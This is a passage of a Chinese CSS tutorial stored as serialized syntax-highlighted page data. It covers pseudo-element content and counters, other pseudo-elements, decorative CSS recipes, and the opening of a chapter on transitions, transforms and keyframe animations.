*\u002F\n",[331,117998,117999,118001,118003,118005,118007,118009,118011,118014,118017],{"class":333,"line":371},[331,118000,117964],{"class":501},[331,118002,111981],{"class":337},[331,118004,112503],{"class":344},[331,118006,348],{"class":337},[331,118008,18769],{"class":344},[331,118010,966],{"class":337},[331,118012,118013],{"class":2472},"arrow.svg",[331,118015,118016],{"class":337},"); }                          ",[331,118018,118019],{"class":1003},"\u002F* 图片 *\u002F\n",[331,118021,118022,118024,118026,118028,118030,118033,118035,118037,118039,118042,118045,118047,118050,118052],{"class":333,"line":384},[331,118023,117866],{"class":501},[331,118025,605],{"class":337},[331,118027,112503],{"class":344},[331,118029,348],{"class":337},[331,118031,118032],{"class":344},"counter",[331,118034,966],{"class":337},[331,118036,27399],{"class":2472},[331,118038,3180],{"class":337},[331,118040,118041],{"class":365},"\".\"",[331,118043,118044],{"class":344}," counter",[331,118046,966],{"class":337},[331,118048,118049],{"class":2472},"m",[331,118051,117076],{"class":337},[331,118053,118054],{"class":1003},"\u002F* 计数器 *\u002F\n",[331,118056,118057,118059,118061,118063,118065,118068,118071],{"class":333,"line":397},[331,118058,117866],{"class":501},[331,118060,605],{"class":337},[331,118062,112503],{"class":344},[331,118064,348],{"class":337},[331,118066,118067],{"class":344},"open-quote",[331,118069,118070],{"class":337},"; }                              ",[331,118072,118073],{"class":1003},"\u002F* 引号，跟随 lang 与 quotes *\u002F\n",[331,118075,118076,118078,118080,118082,118084,118086,118089,118092,118094],{"class":333,"line":418},[331,118077,117866],{"class":501},[331,118079,605],{"class":337},[331,118081,112503],{"class":344},[331,118083,348],{"class":337},[331,118085,6153],{"class":365},[331,118087,118088],{"class":344},"\\201C",[331,118090,118091],{"class":365}," 转义字符\"",[331,118093,114850],{"class":337},[331,118095,118096],{"class":1003},"\u002F* Unicode 转义后要有空格 *\u002F\n",[53,118098,118100,118103],{"id":118099},"counter章节自动编号",[22,118101,118102],{},"counter()","：章节自动编号",[308,118105,118107],{"className":108720,"code":118106,"language":108722,"meta":314,"style":314},"body { counter-reset: sect sub; }              \u002F* 声明计数器（初值 0） *\u002F\n.sect { counter-increment: sect; }\n.sect::before { content: \"第 \" counter(sect) \" 节：\"; }\n.sub { counter-increment: sub; }\n.sub::before { content: counter(sect) \".\" counter(sub); }        \u002F* 两级编号 *\u002F\n",[22,118108,118109,118129,118142,118170,118185],{"__ignoreMap":314},[331,118110,118111,118113,118115,118118,118121,118124,118126],{"class":333,"line":334},[331,118112,800],{"class":497},[331,118114,605],{"class":337},[331,118116,118117],{"class":344},"counter-reset",[331,118119,118120],{"class":337},": sect ",[331,118122,118123],{"class":344},"sub",[331,118125,111970],{"class":337},[331,118127,118128],{"class":1003},"\u002F* 声明计数器（初值 0） *\u002F\n",[331,118130,118131,118134,118136,118139],{"class":333,"line":341},[331,118132,118133],{"class":501},".sect",[331,118135,605],{"class":337},[331,118137,118138],{"class":344},"counter-increment",[331,118140,118141],{"class":337},": sect; }\n",[331,118143,118144,118147,118149,118151,118153,118156,118158,118160,118163,118165,118168],{"class":333,"line":357},[331,118145,118146],{"class":501},".sect::before",[331,118148,605],{"class":337},[331,118150,112503],{"class":344},[331,118152,348],{"class":337},[331,118154,118155],{"class":365},"\"第 \"",[331,118157,118044],{"class":344},[331,118159,966],{"class":337},[331,118161,118162],{"class":2472},"sect",[331,118164,3180],{"class":337},[331,118166,118167],{"class":365},"\" 节：\"",[331,118169,664],{"class":337},[331,118171,118172,118175,118177,118179,118181,118183],{"class":333,"line":371},[331,118173,118174],{"class":501},".sub",[331,118176,605],{"class":337},[331,118178,118138],{"class":344},[331,118180,348],{"class":337},[331,118182,118123],{"class":344},[331,118184,664],{"class":337},[331,118186,118187,118190,118192,118194,118196,118198,118200,118202,118204,118206,118208,118210,118212,118215],{"class":333,"line":384},[331,118188,118189],{"class":501},".sub::before",[331,118191,605],{"class":337},[331,118193,112503],{"class":344},[331,118195,348],{"class":337},[331,118197,118032],{"class":344},[331,118199,966],{"class":337},[331,118201,118162],{"class":2472},[331,118203,3180],{"class":337},[331,118205,118041],{"class":365},[331,118207,118044],{"class":344},[331,118209,966],{"class":337},[331,118211,118123],{"class":344},[331,118213,118214],{"class":337},"); }        ",[331,118216,118217],{"class":1003},"\u002F* 两级编号 *\u002F\n",[11,118219,118220,118222,118223,272,118226,272,118229,272,118232,118235,118236,118239],{},[22,118221,118102],{}," 的第二个参数可以指定样式：",[22,118224,118225],{},"upper-roman",[22,118227,118228],{},"lower-alpha",[22,118230,118231],{},"cjk-decimal",[22,118233,118234],{},"decimal-leading-zero","。它的价值不在替代 ",[22,118237,118238],{},"\u003Col>","，而在「多级编号 + 非列表元素 + 跨元素拼字符串」这类真实需求（论文式标题、题号、章节引用）。",[11,118241,118242],{},"本站教程正文刻意不用自动编号：标题文字本身就是内容，编号写进正文而不是靠 CSS 生成，这样搜索结果、复制、读屏拿到的都是完整标题。",[53,118244,118246],{"id":118245},"其它伪元素一个比一个更只能装饰","其它伪元素：一个比一个更「只能装饰」",[57,118248,118249,118261],{},[60,118250,118251],{},[63,118252,118253,118256,118258],{},[66,118254,118255],{},"伪元素",[66,118257,28667],{},[66,118259,118260],{},"限制",[79,118262,118263,118277,118296,118312,118327,118339],{},[63,118264,118265,118271,118274],{},[84,118266,118267,1901,118269],{},[22,118268,109089],{},[22,118270,109096],{},[84,118272,118273],{},"任意装饰盒子",[84,118275,118276],{},"每个元素只有两个",[63,118278,118279,118287,118290],{},[84,118280,118281,1901,118284],{},[22,118282,118283],{},"::first-line",[22,118285,118286],{},"::first-letter",[84,118288,118289],{},"首行\u002F首字样式（杂志风）",[84,118291,118292,118293,118295],{},"只接受少量属性；",[22,118294,118286],{}," 不能作用于行内非替换元素",[63,118297,118298,118303,118309],{},[84,118299,118300],{},[22,118301,118302],{},"::marker",[84,118304,118305,118306,118308],{},"列表记号的颜色、字重，甚至用 ",[22,118307,112503],{}," 换成箭头",[84,118310,118311],{},"只开放 content\u002Fcolor\u002Ffont-* 等少数属性",[63,118313,118314,118318,118321],{},[84,118315,118316],{},[22,118317,109429],{},[84,118319,118320],{},"选中高亮配色",[84,118322,118323,118324],{},"只允许 color\u002Fbackground\u002Ftext-shadow 等；",[17,118325,118326],{},"对比度必须够",[63,118328,118329,118333,118336],{},[84,118330,118331],{},[22,118332,109426],{},[84,118334,118335],{},"占位符样式",[84,118337,118338],{},"默认带透明度，需要显式覆盖",[63,118340,118341,118346,118352],{},[84,118342,118343],{},[22,118344,118345],{},"::backdrop",[84,118347,118348,118351],{},[22,118349,118350],{},"\u003Cdialog>","\u002F全屏时遮罩层样式",[84,118353,47180,118354,118357],{},[22,118355,118356],{},"color-mix()"," 做半透明遮罩很合适",[53,118359,118361],{"id":118360},"五个纯-css-装饰配方","五个纯 CSS 装饰配方",[308,118363,118365],{"className":108720,"code":118364,"language":108722,"meta":314,"style":314},"\u002F* 圆形序号徽标：counter + inline-grid 居中 *\u002F\n.steps { counter-reset: step; list-style: none; }\n.steps li { counter-increment: step; }\n.steps li::before { content: counter(step); display: inline-grid; place-items: center;\n                    width: 20px; height: 20px; border-radius: 50%; background: #0969da; color: #fff; }\n\u002F* 尖角 tooltip：零尺寸盒子 + 四条透明 border，只给一侧上色 *\u002F\n.tip::after { content: \"\"; position: absolute; top: 100%; border: 6px solid transparent; border-top-color: #24292f; }\n\u002F* hover 下划线：动 ::after 的 scaleX —— text-decoration 不能平滑过渡 *\u002F\n.ul-anim::after { content: \"\"; position: absolute; left: 0; right: 0; bottom: -2px; height: 2px;\n                  background: #0969da; transform: scaleX(0); transform-origin: left; transition: transform .22s; }\n.ul-anim:hover::after { transform: scaleX(1); }\n\u002F* 骨架屏：background-position 动画，不需要图片 *\u002F\n.skeleton { background: linear-gradient(90deg, #eaeef2 0 25%, #f6f8fa 37%, #eaeef2 63%) 0 0\u002F400% 100%;\n            animation: shimmer 1.4s ease infinite; }\n",[22,118366,118367,118372,118393,118406,118444,118493,118498,118555,118560,118621,118666,118685,118690,118757],{"__ignoreMap":314},[331,118368,118369],{"class":333,"line":334},[331,118370,118371],{"class":1003},"\u002F* 圆形序号徽标：counter + inline-grid 居中 *\u002F\n",[331,118373,118374,118377,118379,118381,118384,118387,118389,118391],{"class":333,"line":341},[331,118375,118376],{"class":501},".steps",[331,118378,605],{"class":337},[331,118380,118117],{"class":344},[331,118382,118383],{"class":337},": step; ",[331,118385,118386],{"class":344},"list-style",[331,118388,348],{"class":337},[331,118390,50866],{"class":344},[331,118392,664],{"class":337},[331,118394,118395,118397,118399,118401,118403],{"class":333,"line":357},[331,118396,118376],{"class":501},[331,118398,69479],{"class":497},[331,118400,605],{"class":337},[331,118402,118138],{"class":344},[331,118404,118405],{"class":337},": step; }\n",[331,118407,118408,118410,118412,118414,118416,118418,118420,118422,118424,118426,118428,118430,118432,118434,118436,118438,118440,118442],{"class":333,"line":371},[331,118409,118376],{"class":501},[331,118411,69479],{"class":497},[331,118413,109089],{"class":501},[331,118415,605],{"class":337},[331,118417,112503],{"class":344},[331,118419,348],{"class":337},[331,118421,118032],{"class":344},[331,118423,966],{"class":337},[331,118425,30772],{"class":2472},[331,118427,24886],{"class":337},[331,118429,20238],{"class":344},[331,118431,348],{"class":337},[331,118433,112626],{"class":344},[331,118435,620],{"class":337},[331,118437,113884],{"class":344},[331,118439,348],{"class":337},[331,118441,110939],{"class":344},[331,118443,108769],{"class":337},[331,118445,118446,118449,118451,118453,118455,118457,118459,118461,118463,118465,118467,118469,118471,118473,118475,118477,118479,118481,118483,118485,118487,118489,118491],{"class":333,"line":384},[331,118447,118448],{"class":344},"                    width",[331,118450,348],{"class":337},[331,118452,638],{"class":344},[331,118454,617],{"class":616},[331,118456,620],{"class":337},[331,118458,99201],{"class":344},[331,118460,348],{"class":337},[331,118462,638],{"class":344},[331,118464,617],{"class":616},[331,118466,620],{"class":337},[331,118468,111842],{"class":344},[331,118470,348],{"class":337},[331,118472,114251],{"class":344},[331,118474,715],{"class":616},[331,118476,620],{"class":337},[331,118478,35025],{"class":344},[331,118480,348],{"class":337},[331,118482,109986],{"class":344},[331,118484,620],{"class":337},[331,118486,109612],{"class":344},[331,118488,348],{"class":337},[331,118490,110156],{"class":344},[331,118492,664],{"class":337},[331,118494,118495],{"class":333,"line":397},[331,118496,118497],{"class":1003},"\u002F* 尖角 tooltip：零尺寸盒子 + 四条透明 border，只给一侧上色 *\u002F\n",[331,118499,118500,118503,118505,118507,118509,118511,118513,118515,118517,118519,118521,118523,118525,118527,118529,118531,118533,118535,118537,118539,118541,118544,118546,118549,118551,118553],{"class":333,"line":418},[331,118501,118502],{"class":501},".tip::after",[331,118504,605],{"class":337},[331,118506,112503],{"class":344},[331,118508,348],{"class":337},[331,118510,81717],{"class":365},[331,118512,620],{"class":337},[331,118514,109652],{"class":344},[331,118516,348],{"class":337},[331,118518,114101],{"class":344},[331,118520,620],{"class":337},[331,118522,50045],{"class":344},[331,118524,348],{"class":337},[331,118526,712],{"class":344},[331,118528,715],{"class":616},[331,118530,620],{"class":337},[331,118532,24063],{"class":344},[331,118534,348],{"class":337},[331,118536,28747],{"class":344},[331,118538,617],{"class":616},[331,118540,24072],{"class":344},[331,118542,118543],{"class":344}," transparent",[331,118545,620],{"class":337},[331,118547,118548],{"class":344},"border-top-color",[331,118550,348],{"class":337},[331,118552,108750],{"class":344},[331,118554,664],{"class":337},[331,118556,118557],{"class":333,"line":427},[331,118558,118559],{"class":1003},"\u002F* hover 下划线：动 ::after 的 scaleX —— text-decoration 不能平滑过渡 *\u002F\n",[331,118561,118562,118565,118567,118569,118571,118573,118575,118577,118579,118581,118583,118585,118587,118589,118591,118593,118595,118597,118599,118602,118604,118607,118609,118611,118613,118615,118617,118619],{"class":333,"line":439},[331,118563,118564],{"class":501},".ul-anim::after",[331,118566,605],{"class":337},[331,118568,112503],{"class":344},[331,118570,348],{"class":337},[331,118572,81717],{"class":365},[331,118574,620],{"class":337},[331,118576,109652],{"class":344},[331,118578,348],{"class":337},[331,118580,114101],{"class":344},[331,118582,620],{"class":337},[331,118584,110933],{"class":344},[331,118586,348],{"class":337},[331,118588,628],{"class":344},[331,118590,620],{"class":337},[331,118592,110936],{"class":344},[331,118594,348],{"class":337},[331,118596,628],{"class":344},[331,118598,620],{"class":337},[331,118600,118601],{"class":344},"bottom",[331,118603,348],{"class":337},[331,118605,118606],{"class":344},"-2",[331,118608,617],{"class":616},[331,118610,620],{"class":337},[331,118612,99201],{"class":344},[331,118614,348],{"class":337},[331,118616,9292],{"class":344},[331,118618,617],{"class":616},[331,118620,108769],{"class":337},[331,118622,118623,118626,118628,118630,118632,118634,118636,118639,118641,118643,118645,118648,118650,118652,118654,118656,118659,118662,118664],{"class":333,"line":450},[331,118624,118625],{"class":344},"                  background",[331,118627,348],{"class":337},[331,118629,109986],{"class":344},[331,118631,620],{"class":337},[331,118633,8790],{"class":344},[331,118635,348],{"class":337},[331,118637,118638],{"class":344},"scaleX",[331,118640,966],{"class":337},[331,118642,628],{"class":344},[331,118644,24886],{"class":337},[331,118646,118647],{"class":344},"transform-origin",[331,118649,348],{"class":337},[331,118651,110933],{"class":344},[331,118653,620],{"class":337},[331,118655,7466],{"class":344},[331,118657,118658],{"class":337},": transform ",[331,118660,118661],{"class":344},".22",[331,118663,21542],{"class":616},[331,118665,664],{"class":337},[331,118667,118668,118671,118673,118675,118677,118679,118681,118683],{"class":333,"line":456},[331,118669,118670],{"class":501},".ul-anim:hover::after",[331,118672,605],{"class":337},[331,118674,8790],{"class":344},[331,118676,348],{"class":337},[331,118678,118638],{"class":344},[331,118680,966],{"class":337},[331,118682,7993],{"class":344},[331,118684,111705],{"class":337},[331,118686,118687],{"class":333,"line":775},[331,118688,118689],{"class":1003},"\u002F* 骨架屏：background-position 动画，不需要图片 *\u002F\n",[331,118691,118692,118695,118697,118699,118701,118703,118705,118707,118709,118711,118713,118715,118718,118720,118722,118725,118728,118730,118732,118734,118737,118739,118741,118743,118745,118747,118749,118751,118753,118755],{"class":333,"line":785},[331,118693,118694],{"class":501},".skeleton",[331,118696,605],{"class":337},[331,118698,35025],{"class":344},[331,118700,348],{"class":337},[331,118702,111367],{"class":344},[331,118704,966],{"class":337},[331,118706,87582],{"class":344},[331,118708,109953],{"class":616},[331,118710,409],{"class":337},[331,118712,111697],{"class":344},[331,118714,680],{"class":344},[331,118716,118717],{"class":344}," 25",[331,118719,715],{"class":616},[331,118721,409],{"class":337},[331,118723,118724],{"class":344},"#f6f8fa",[331,118726,118727],{"class":344}," 37",[331,118729,715],{"class":616},[331,118731,409],{"class":337},[331,118733,111697],{"class":344},[331,118735,118736],{"class":344}," 63",[331,118738,715],{"class":616},[331,118740,3180],{"class":337},[331,118742,628],{"class":344},[331,118744,680],{"class":344},[331,118746,655],{"class":337},[331,118748,10631],{"class":344},[331,118750,715],{"class":616},[331,118752,49936],{"class":344},[331,118754,715],{"class":616},[331,118756,108769],{"class":337},[331,118758,118759,118762,118765,118768,118770,118772,118775],{"class":333,"line":795},[331,118760,118761],{"class":344},"            animation",[331,118763,118764],{"class":337},": shimmer ",[331,118766,118767],{"class":344},"1.4",[331,118769,21542],{"class":616},[331,118771,112409],{"class":344},[331,118773,118774],{"class":344}," infinite",[331,118776,664],{"class":337},[11,118778,118779,118780,118782],{},"（伪元素与过渡\u002F动画的组合见第十八章；",[22,118781,112503],{}," 参与媒体查询做不同装饰也完全合法，见第十三章。）",[53,118784,118785],{"id":118785},"三个必须知道的限制",[1659,118787,118788,118799,118805],{},[1662,118789,118790,322,118793,13105,118795,118798],{},[17,118791,118792],{},"不能嵌 HTML",[22,118794,112503],{},[22,118796,118797],{},"\u003Cb>"," 只会显示字面量。需要结构就写进 DOM。",[1662,118800,118801,118804],{},[17,118802,118803],{},"不可选中、不可搜索、复制会丢失","：所以「必需信息」不要只存在于伪元素里（价格、状态文字、必填星号的说明）。读屏支持参差不齐，把它当纯装饰最安全。",[1662,118806,118807,118809,118810,118812,118813,118815,118816,118819,118820,118822,118823,118825],{},[17,118808,118276],{},"：需要三层装饰时——给父用 ",[22,118811,109089],{},"、子元素用 ",[22,118814,109096],{},"，或者改用真实 ",[22,118817,118818],{},"\u003Cspan>","、多重 ",[22,118821,111920],{},"、多层 ",[22,118824,35025],{},"（第八章）。",[11,118827,118828,118829,118837],{},"一条判断标准：",[17,118830,118831,118832,118834,118835,5149],{},"图片的说明文字属于 HTML（",[22,118833,18830],{},"），装饰符号属于 CSS（",[22,118836,112503],{},"。前者是内容，后者是表现。",[48,118839,118841],{"id":118840},"十八过渡变形与动画","十八、过渡、变形与动画",[11,118843,118844,118845,118848,118849,161],{},"动效的目标是「解释变化」，不是「装饰页面」。技术上只需要区分两件事：过渡负责",[17,118846,118847],{},"两个状态之间","，动画负责",[17,118850,118851],{},"多帧序列",[4748,118853],{"height":113655,"src":118854,"title":118855},"\u002Ftutorials\u002Fcss\u002Fdemos\u002F18a-transition.html","示例 18a：transition 四要素、缓动曲线、transform 2D\u002F3D 与性能友好属性",[53,118857,118859,118861],{"id":118858},"transition-的四要素",[22,118860,7466],{}," 的四要素",[308,118863,118865],{"className":108720,"code":118864,"language":108722,"meta":314,"style":314},".btn { transition: background-color 200ms ease-out 0s, border-color 200ms ease-in 50ms; }\n",[22,118866,118867],{"__ignoreMap":314},[331,118868,118869,118871,118873,118875,118878,118880,118882,118885,118887,118889,118892,118894,118896,118899,118901,118903],{"class":333,"line":334},[331,118870,109486],{"class":501},[331,118872,605],{"class":337},[331,118874,7466],{"class":344},[331,118876,118877],{"class":337},": background-color ",[331,118879,30211],{"class":344},[331,118881,109973],{"class":616},[331,118883,118884],{"class":344}," ease-out",[331,118886,680],{"class":344},[331,118888,21542],{"class":616},[331,118890,118891],{"class":337},", border-color ",[331,118893,30211],{"class":344},[331,118895,109973],{"class":616},[331,118897,118898],{"class":344}," ease-in",[331,118900,76834],{"class":344},[331,118902,109973],{"class":616},[331,118904,664],{"class":337},[11,118906,118907,118908,118911,118912,118915],{},"顺序是 ",[17,118909,118910],{},"属性 \u002F 时长 \u002F 缓动 \u002F 延迟","；两个时间同时出现时",[17,118913,118914],{},"第一个是时长、第二个是延迟","，写反含义就变。",[11,118917,118918,118919,118921,118922,118924,118925,118928],{},"最常见的笔误是把 ",[22,118920,7466],{}," 只写在 ",[22,118923,109406],{}," 里——那样只有悬停时有过渡，移开时瞬间跳回。正确做法是写在",[17,118926,118927],{},"基础状态","上：",[308,118930,118932],{"className":108720,"code":118931,"language":108722,"meta":314,"style":314},".a { transition: all .3s; }        \u002F* ✓ *\u002F\n.a:hover { transform: translateY(-2px); }\n",[22,118933,118934,118957],{"__ignoreMap":314},[331,118935,118936,118939,118941,118943,118945,118947,118950,118952,118954],{"class":333,"line":334},[331,118937,118938],{"class":501},".a",[331,118940,605],{"class":337},[331,118942,7466],{"class":344},[331,118944,348],{"class":337},[331,118946,72631],{"class":344},[331,118948,118949],{"class":344}," .3",[331,118951,21542],{"class":616},[331,118953,110594],{"class":337},[331,118955,118956],{"class":1003},"\u002F* ✓ *\u002F\n",[331,118958,118959,118962,118964,118966,118968,118971,118973,118975,118977],{"class":333,"line":341},[331,118960,118961],{"class":501},".a:hover",[331,118963,605],{"class":337},[331,118965,8790],{"class":344},[331,118967,348],{"class":337},[331,118969,118970],{"class":344},"translateY",[331,118972,966],{"class":337},[331,118974,118606],{"class":344},[331,118976,617],{"class":616},[331,118978,111705],{"class":337},[11,118980,51547,118981,118984,118985,118987],{},[22,118982,118983],{},"transition-property"," 时默认是 ",[22,118986,72631],{},"，会带来意外的连锁动画（连布局属性都在补帧），建议显式列出要过渡的属性。",[53,118989,118990],{"id":118990},"缓动决定手感",[1773,118992,118993,119000,119006,119012,119019,119025],{},[1662,118994,118995,118996,118999],{},"进入用 ",[22,118997,118998],{},"ease-out","（快起手、慢落位）；",[1662,119001,119002,119003,17306],{},"离开用 ",[22,119004,119005],{},"ease-in",[1662,119007,119008,119009,17306],{},"来回运动用 ",[22,119010,119011],{},"ease-in-out",[1662,119013,119014,119015,119018],{},"需要「有重量」的弹跳用 ",[22,119016,119017],{},"cubic-bezier(.34, 1.56, .64, 1)","（控制点 y 超出 1 会过冲回弹）；",[1662,119020,119021,119022,17306],{},"精灵图\u002F打字机用 ",[22,119023,119024],{},"steps(6, end)",[1662,119026,119027,119028,119031],{},"新写法 ",[22,119029,119030],{},"linear(0, .6 20%, 1 40%, .8 55%, 1)"," 直接按关键帧描述曲线，回弹不必再手算贝塞尔控制点。",[11,119033,119034,119035,119038,119039,119042],{},"一个常被忽略的细节：",[22,119036,119037],{},"animation-timing-function"," 作用于",[17,119040,119041],{},"每两个关键帧之间","（不是整段动画），也可以写在关键帧内部逐段指定。",[53,119044,119046,119048],{"id":119045},"transform2d3d-与支点",[22,119047,8790],{},"：2D、3D 与支点",[308,119050,119052],{"className":108720,"code":119051,"language":108722,"meta":314,"style":314},".x:hover { transform: translate(6px, -4px) rotate(-6deg) scale(1.1); }\n.wrap { perspective: 500px; }                 \u002F* 给 3D 一个观察距离 *\u002F\n.card:hover { transform: rotateY(180deg); }\n.origin { transform-origin: top left; }       \u002F* 旋转\u002F缩放的支点 *\u002F\n",[22,119053,119054,119102,119123,119145],{"__ignoreMap":314},[331,119055,119056,119059,119061,119063,119065,119067,119069,119071,119073,119075,119078,119080,119082,119085,119087,119089,119091,119093,119095,119097,119100],{"class":333,"line":334},[331,119057,119058],{"class":501},".x:hover",[331,119060,605],{"class":337},[331,119062,8790],{"class":344},[331,119064,348],{"class":337},[331,119066,114272],{"class":344},[331,119068,966],{"class":337},[331,119070,28747],{"class":344},[331,119072,617],{"class":616},[331,119074,409],{"class":337},[331,119076,119077],{"class":344},"-4",[331,119079,617],{"class":616},[331,119081,3180],{"class":337},[331,119083,119084],{"class":344},"rotate",[331,119086,966],{"class":337},[331,119088,83967],{"class":344},[331,119090,109953],{"class":616},[331,119092,3180],{"class":337},[331,119094,59845],{"class":344},[331,119096,966],{"class":337},[331,119098,119099],{"class":344},"1.1",[331,119101,111705],{"class":337},[331,119103,119104,119106,119108,119110,119112,119115,119117,119120],{"class":333,"line":341},[331,119105,115270],{"class":501},[331,119107,605],{"class":337},[331,119109,114408],{"class":344},[331,119111,348],{"class":337},[331,119113,119114],{"class":344},"500",[331,119116,617],{"class":616},[331,119118,119119],{"class":337},"; }                 ",[331,119121,119122],{"class":1003},"\u002F* 给 3D 一个观察距离 *\u002F\n",[331,119124,119125,119127,119129,119131,119133,119136,119138,119141,119143],{"class":333,"line":357},[331,119126,111778],{"class":501},[331,119128,605],{"class":337},[331,119130,8790],{"class":344},[331,119132,348],{"class":337},[331,119134,119135],{"class":344},"rotateY",[331,119137,966],{"class":337},[331,119139,119140],{"class":344},"180",[331,119142,109953],{"class":616},[331,119144,111705],{"class":337},[331,119146,119147,119150,119152,119154,119156,119158,119160,119162],{"class":333,"line":371},[331,119148,119149],{"class":501},".origin",[331,119151,605],{"class":337},[331,119153,118647],{"class":344},[331,119155,348],{"class":337},[331,119157,50045],{"class":344},[331,119159,33155],{"class":344},[331,119161,116752],{"class":337},[331,119163,119164],{"class":1003},"\u002F* 旋转\u002F缩放的支点 *\u002F\n",[11,119166,15479],{},[1659,119168,119169,119181,119188],{},[1662,119170,119171,322,119173,119175,119176,48123,119178,119180],{},[17,119172,23739],{},[22,119174,8790],{}," 是矩阵相乘，先 ",[22,119177,114272],{},[22,119179,119084],{}," 与反过来结果不同；",[1662,119182,119183,114348,119185,119187],{},[22,119184,114272],{},[17,119186,114351],{},"尺寸——这是「未知宽高也能居中」的依据（第十二章）；",[1662,119189,119190,119192],{},[22,119191,59845],{}," 不改变布局占位，只是绘制时被放大，相邻元素不会让位（可能重叠）。",[11,119194,119195,119196,119199,119200,161],{},"翻牌卡片：两面绝对定位叠在一起 + ",[22,119197,119198],{},"backface-visibility: hidden","；立方体一类立体组合需要父级 ",[22,119201,119202],{},"transform-style: preserve-3d",[53,119204,119206,119207,5160,119209],{"id":119205},"只动-transform-与-opacity","只动 ",[22,119208,8790],{},[22,119210,109666],{},[57,119212,119213,119222],{},[60,119214,119215],{},[63,119216,119217,119220],{},[66,119218,119219],{},"属性",[66,119221,50395],{},[79,119223,119224,119238,119248,119262],{},[63,119225,119226,119232],{},[84,119227,119228,272,119230],{},[22,119229,8790],{},[22,119231,109666],{},[84,119233,119234,119235],{},"只需合成，不触发布局与重排 → ",[17,119236,119237],{},"动画首选",[63,119239,119240,119245],{},[84,119241,119242],{},[22,119243,119244],{},"width\u002Fheight\u002Ftop\u002Fleft\u002Fmargin\u002Fpadding",[84,119246,119247],{},"触发布局（layout），多元素同时动会掉帧",[63,119249,119250,119259],{},[84,119251,119252,272,119254,272,119256],{},[22,119253,111920],{},[22,119255,111842],{},[22,119257,119258],{},"background-color",[84,119260,119261],{},"触发重绘（paint），大面积时明显",[63,119263,119264,119270],{},[84,119265,16105,119266,119269],{},[22,119267,119268],{},"left\u002Ftop"," 做位移",[84,119271,119272,119273,119276],{},"改用 ",[22,119274,119275],{},"transform: translate()","，视觉一致、成本低得多",[11,119278,119279,119280,119282,119283,322],{},"想给阴影加过渡时不要直接动 ",[22,119281,111920],{},"（中间帧发灰且要重绘整块模糊），把阴影画在伪元素上、动它的 ",[22,119284,109666],{},[308,119286,119288],{"className":108720,"code":119287,"language":108722,"meta":314,"style":314},".lift::after { content: \"\"; position: absolute; inset: 0; border-radius: inherit; z-index: -1;\n               box-shadow: 0 8px 22px rgba(0,0,0,.22); opacity: 0; transition: opacity .22s; }\n.lift:hover::after { opacity: 1; }\n",[22,119289,119290,119338,119394],{"__ignoreMap":314},[331,119291,119292,119295,119297,119299,119301,119303,119305,119307,119309,119311,119313,119315,119317,119319,119321,119323,119325,119328,119330,119332,119334,119336],{"class":333,"line":334},[331,119293,119294],{"class":501},".lift::after",[331,119296,605],{"class":337},[331,119298,112503],{"class":344},[331,119300,348],{"class":337},[331,119302,81717],{"class":365},[331,119304,620],{"class":337},[331,119306,109652],{"class":344},[331,119308,348],{"class":337},[331,119310,114101],{"class":344},[331,119312,620],{"class":337},[331,119314,111936],{"class":344},[331,119316,348],{"class":337},[331,119318,628],{"class":344},[331,119320,620],{"class":337},[331,119322,111842],{"class":344},[331,119324,348],{"class":337},[331,119326,119327],{"class":344},"inherit",[331,119329,620],{"class":337},[331,119331,109944],{"class":344},[331,119333,348],{"class":337},[331,119335,65523],{"class":344},[331,119337,108769],{"class":337},[331,119339,119340,119343,119345,119347,119349,119351,119354,119356,119358,119360,119362,119364,119366,119368,119370,119372,119374,119376,119378,119380,119382,119384,119386,119388,119390,119392],{"class":333,"line":341},[331,119341,119342],{"class":344},"               box-shadow",[331,119344,348],{"class":337},[331,119346,628],{"class":344},[331,119348,82520],{"class":344},[331,119350,617],{"class":616},[331,119352,119353],{"class":344}," 22",[331,119355,617],{"class":616},[331,119357,111998],{"class":344},[331,119359,966],{"class":337},[331,119361,628],{"class":344},[331,119363,111490],{"class":337},[331,119365,628],{"class":344},[331,119367,111490],{"class":337},[331,119369,628],{"class":344},[331,119371,111490],{"class":337},[331,119373,118661],{"class":344},[331,119375,24886],{"class":337},[331,119377,109666],{"class":344},[331,119379,348],{"class":337},[331,119381,628],{"class":344},[331,119383,620],{"class":337},[331,119385,7466],{"class":344},[331,119387,112401],{"class":337},[331,119389,118661],{"class":344},[331,119391,21542],{"class":616},[331,119393,664],{"class":337},[331,119395,119396,119399,119401,119403,119405,119407],{"class":333,"line":357},[331,119397,119398],{"class":501},".lift:hover::after",[331,119400,605],{"class":337},[331,119402,109666],{"class":344},[331,119404,348],{"class":337},[331,119406,7993],{"class":344},[331,119408,664],{"class":337},[4748,119410],{"height":114031,"src":119411,"title":119412},"\u002Ftutorials\u002Fcss\u002Fdemos\u002F18b-keyframes.html","示例 18b：@keyframes、animation 属性族、stagger 与滚动驱动动画",[53,119414,119416,5160,119419,119422],{"id":119415},"keyframes-与-animation-属性族",[22,119417,119418],{},"@keyframes",[22,119420,119421],{},"animation"," 属性族",[308,119424,119426],{"className":108720,"code":119425,"language":108722,"meta":314,"style":314},"@keyframes rise { from { opacity: 0; transform: translateY(12px); } to { opacity: 1; transform: none; } }\n.item { animation: rise .5s ease-out both; animation-delay: calc(var(--i, 0) * 80ms); }\n",[22,119427,119428,119484],{"__ignoreMap":314},[331,119429,119430,119432,119435,119437,119439,119441,119443,119445,119447,119449,119451,119453,119455,119457,119459,119461,119464,119466,119468,119470,119472,119474,119476,119478,119480,119482],{"class":333,"line":334},[331,119431,119418],{"class":616},[331,119433,119434],{"class":2472}," rise",[331,119436,605],{"class":337},[331,119438,13735],{"class":501},[331,119440,605],{"class":337},[331,119442,109666],{"class":344},[331,119444,348],{"class":337},[331,119446,628],{"class":344},[331,119448,620],{"class":337},[331,119450,8790],{"class":344},[331,119452,348],{"class":337},[331,119454,118970],{"class":344},[331,119456,966],{"class":337},[331,119458,93883],{"class":344},[331,119460,617],{"class":616},[331,119462,119463],{"class":337},"); } ",[331,119465,6148],{"class":501},[331,119467,605],{"class":337},[331,119469,109666],{"class":344},[331,119471,348],{"class":337},[331,119473,7993],{"class":344},[331,119475,620],{"class":337},[331,119477,8790],{"class":344},[331,119479,348],{"class":337},[331,119481,50866],{"class":344},[331,119483,114888],{"class":337},[331,119485,119486,119488,119490,119492,119495,119497,119499,119501,119504,119506,119509,119511,119513,119515,119517,119519,119522,119524,119526,119528,119530,119533,119535],{"class":333,"line":341},[331,119487,116314],{"class":501},[331,119489,605],{"class":337},[331,119491,119421],{"class":344},[331,119493,119494],{"class":337},": rise ",[331,119496,110021],{"class":344},[331,119498,21542],{"class":616},[331,119500,118884],{"class":344},[331,119502,119503],{"class":344}," 